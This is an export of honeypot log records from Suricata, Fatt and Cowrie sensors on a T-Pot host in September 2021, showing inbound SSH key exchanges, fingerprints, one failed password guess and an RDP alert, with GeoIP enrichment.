"AAADzAYUmXp6VZ5MBZ62p6u3uEkeLQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33562, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:57:22.120815Z", "@timestamp": "2021-09-20T11:57:22.120Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......zzU.L.......I.-...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33800	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:21.877536+03	2021-09-20 15:00:06.320722+03	{"_id": "yQYRA3wBvYTbRNuEYFEx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33562, "timestamp": "2021-09-20T11:57:21.877536", "@timestamp": "2021-09-20T11:57:21.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33801	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:22.856246+03	2021-09-20 15:00:06.322722+03	{"_id": "zwYRA3wBvYTbRNuEYVHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:49934 (192.168.176.2:22) [session: d05e0179f43c]", "session": "d05e0179f43c", "@version": "1", "protocol": "ssh", "src_port": 49934, "dest_port": 22, "timestamp": "2021-09-20T11:57:22.856246Z", "@timestamp": "2021-09-20T11:57:22.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33802	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:57:13.252094+03	2021-09-20 15:00:06.323721+03	{"_id": "pQYRA3wBvYTbRNuEO1H4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:57:12.694158+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 469858535380878, "payload": "AAADzAYUiBMsPDktQAn/YLZObnAgiwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44444, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:57:13.252094Z", "@timestamp": "2021-09-20T11:57:13.252Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........,<9-@..`.Nnp ....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33803	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:12.97659+03	2021-09-20 15:00:06.324723+03	{"_id": "pwYRA3wBvYTbRNuEPVEE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44444, "timestamp": "2021-09-20T11:57:12.976590", "@timestamp": "2021-09-20T11:57:12.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33804	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:57:13.251994+03	2021-09-20 15:00:06.326723+03	{"_id": "pgYRA3wBvYTbRNuEO1H4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 469858535380878, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44444, "dest_port": 22, "timestamp": "2021-09-20T11:57:13.251994Z", "@timestamp": "2021-09-20T11:57:13.251Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33805	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:57:13.252094+03	2021-09-20 15:00:06.327722+03	{"_id": "qAYRA3wBvYTbRNuEPVEE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44444, "dest_port": 22, "timestamp": "2021-09-20T11:57:13.252094", "@timestamp": "2021-09-20T11:57:13.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33806	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:57:13.25272+03	2021-09-20 15:00:06.328722+03	{"_id": "qQYRA3wBvYTbRNuEPlGn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b0bf055f21fa", "@version": "1", "timestamp": "2021-09-20T11:57:13.252720Z", "@timestamp": "2021-09-20T11:57:13.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33807	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:57:14.453393+03	2021-09-20 15:00:06.330722+03	{"_id": "qwYRA3wBvYTbRNuEQlGP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [loomis/loomis] failed", "session": "b0bf055f21fa", "@version": "1", "password": "loomis", "username": "loomis", "timestamp": "2021-09-20T11:57:14.453393Z", "@timestamp": "2021-09-20T11:57:14.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33808	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:57:15.733638+03	2021-09-20 15:00:06.331723+03	{"_id": "rAYRA3wBvYTbRNuERlF4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b0bf055f21fa", "@version": "1", "duration": 2.7586050033569336, "timestamp": "2021-09-20T11:57:15.733638Z", "@timestamp": "2021-09-20T11:57:15.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33809	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:57:12.972292+03	2021-09-20 15:00:06.332722+03	{"_id": "ogYRA3wBvYTbRNuEOlG-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:44444 (192.168.176.2:22) [session: b0bf055f21fa]", "session": "b0bf055f21fa", "@version": "1", "protocol": "ssh", "src_port": 44444, "dest_port": 22, "timestamp": "2021-09-20T11:57:12.972292Z", "@timestamp": "2021-09-20T11:57:12.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33810	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:57:12.975374+03	2021-09-20 15:00:06.334723+03	{"_id": "owYRA3wBvYTbRNuEOlG-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b0bf055f21fa", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:57:12.975374Z", "@timestamp": "2021-09-20T11:57:12.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33811	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:56:55.000842+03	2021-09-20 15:00:06.335723+03	{"_id": "pAYRA3wBvYTbRNuEO1H3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:53.836349+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 967043944399613, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 63572, "timestamp": "2021-09-20T11:56:55.000842Z", "@timestamp": "2021-09-20T11:56:55.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
